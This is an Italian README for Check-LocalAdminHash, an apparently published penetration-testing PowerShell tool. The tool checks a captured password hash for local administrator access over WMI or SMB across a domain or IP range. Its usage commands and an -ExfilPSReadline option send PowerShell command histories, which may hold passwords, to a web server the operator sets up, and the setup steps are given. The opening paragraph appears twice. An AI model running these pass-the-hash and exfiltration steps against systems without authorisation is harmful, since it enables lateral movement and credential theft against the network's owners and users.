
Check-LocalAdminHash è uno strumento PowerShell che tenta di autenticarsi su più host tramite WMI o SMB utilizzando un hash di password per determinare se la credenziale fornita è un amministratore locale. È utile se si ottiene un hash di password per un utente e si desidera vedere dove è amministratore locale su una rete. È essenzialmente un Frankenstein di due dei miei strumenti preferiti insieme ad alcuni codici personali. Utilizza il progetto Invoke-TheHash di Kevin Robertson (@kevin_robertson) per la parte di controllo delle credenziali. Inoltre, lo script utilizza moduli di PowerView di Will Schroeder (@harmj0y) e Matt Graeber (@mattifestation) per enumerare i computer del dominio e trovare obiettivi su cui testare l'accesso amministrativo.
Check-LocalAdminHash è uno strumento PowerShell che tenta di autenticarsi su più host tramite WMI o SMB utilizzando un hash della password per determinare se la credenziale fornita è un amministratore locale. È utile se si ottiene un hash della password per un utente e si vuole vedere dove è amministratore locale su una rete. È essenzialmente un Frankenstein di due dei miei strumenti preferiti insieme a un po' di codice mio. Utilizza il progetto Invoke-TheHash di Kevin Robertson (@kevin_robertson) per la parte di verifica delle credenziali. Inoltre, lo script utilizza moduli da PowerView di Will Schroeder (@harmj0y) e Matt Graeber (@mattifestation) per enumerare i computer del dominio e trovare i target su cui testare l'accesso amministrativo.
La ragione per cui questo script esiste è che durante un assessment volevo raccogliere tutti i file della cronologia della console PowerShell (PSReadline) da ogni sistema della rete. La cronologia della console PSReadline è essenzialmente la versione PowerShell della cronologia di bash. Può includere molte cose interessanti che le persone digitano nei loro terminali, incluse le password. Quindi, in questo script è inclusa un'opzione per esfiltrare anche tutti i file PSReadline. C'è un po' di configurazione per questo. Vedi la fine del Readme per la configurazione.
Per maggiori informazioni leggi il blog qui: https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/
Questo comando utilizzerà il dominio 'testdomain.local' per cercare tutti i sistemi e poi tentare di autenticarsi su ciascuno usando l'utente 'testdomain.local\PossibleAdminUser' e un hash della password tramite WMI.
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems
Questo comando utilizzerà il dominio 'testdomain.local' per cercare tutti i sistemi e poi tentare di autenticarsi su ciascuno usando l'utente 'testdomain.local\PossibleAdminUser' e un hash della password tramite WMI. Successivamente, tenta di individuare i file della cronologia della console PowerShell (PSReadline) per ogni profilo su ogni sistema e li invia tramite POST a un server web. Vedi la parte inferiore del Readme per la configurazione del server.
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline
Questo comando utilizzerà l'intervallo CIDR fornito per generare un elenco di target e poi tenterà di autenticarsi su ciascuno usando l'utente locale 'PossibleAdminUser' e un hash della password tramite WMI.
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24
Questo comando utilizzerà la lista di target fornita e tenterà di autenticarsi su ogni host usando l'utente locale 'PossibleAdminUser' e un hash della password tramite SMB.
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt
Questo comando tenta di eseguire un'autenticazione locale per l'utente Administrator sul sistema 192.168.0.16 tramite SMB.
Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB
Username - Nome utente per tentare l'autenticazione.
PasswordHash - Hash della password dell'utente.
TargetSystem - Singolo hostname o IP per il tentativo di autenticazione.
TargetList - Elenco di host da scansionare, uno per riga.
AllSystems - Opzione che, quando abilitata, utilizza i moduli PowerView per enumerare tutti i sistemi del dominio. Questo elenco viene poi utilizzato per verificare l'accesso amministrativo locale.
Domain - Dominio che PowerView utilizzerà per scoprire i sistemi.
UserDomain - Dominio dell'utente per autenticarsi a ciascun sistema. Non usare questo flag se si usa un credenziale locale anziché di dominio.
Protocol - Impostazione per verificare l'hash tramite WMI o SMB. Il valore predefinito è 'WMI', ma impostarlo su 'SMB' per verificare tramite SMB.
CIDR - Specificare un intervallo di rete in forma CIDR, ad esempio 192.168.0.0/24.
Threads - Il valore predefinito è 5 thread. (Ho riscontrato alcuni problemi strani impostando i thread a più di 15, con alcuni risultati che non tornano.)
ExfilPSReadline - Per ogni sistema in cui l'autenticazione ha successo, viene eseguito un comando PowerShell per individuare i file della cronologia della console PSReadLine (cronologia dei comandi PowerShell) e quindi inviarli tramite POST a un server web. Vedi il Readme per la configurazione del server.
Questo è il tuo avviso che stai per configurare un server esposto a Internet che accetterà caricamenti di file. Di solito, questa è una cosa molto negativa da fare. Quindi prendi sicuramente precauzioni quando lo fai. Raccomanderei di bloccare le regole del firewall in modo che solo l'IP che caricherà i file PSReadline possa raggiungere il server web. Inoltre, già che parliamo di sicurezza, funzionerà perfettamente con una connessione HTTPS, quindi configura il tuo dominio e il certificato in modo che i file PSReadline vengano inviati criptati attraverso la rete. Sei stato avvisato...
Configura un server dove desideri che i file vengano inviati. Questo server deve essere raggiungibile tramite HTTP/HTTPS da ogni sistema.
Copia lo script index.php da questo repository e mettilo in /index.php nella root web (/var/www/html) sul tuo server web.
Crea una directory uploads
mkdir /var/www/html/uploads
chmod 0777 /var/www/html/uploads
apt-get install php
service apache2 restart
Ora quando esegui Check-LocalAdminHash con il flag -ExfilPSReadline, dovrebbe tentare di inviare tramite POST ogni file PSReadline (se presente) al tuo server web.
Check-LocalAdminHash è praticamente un Frankenstein di due dei miei strumenti preferiti, PowerView e Invoke-TheHash. Il 95% del codice proviene da questi due strumenti. Quindi il merito va a Kevin Robertson (@kevin_robertson) per Invoke-TheHash, e il merito va a Will Schroeder (@harmj0y), Matt Graeber (@mattifestation) (e chiunque altro abbia lavorato su PowerView). Senza questi due strumenti questo script non esisterebbe. Un ringraziamento anche a Steve Borosh (@424f424f) per l'aiuto con il threading e per essere semplicemente un tipo fantastico.
Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash
PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1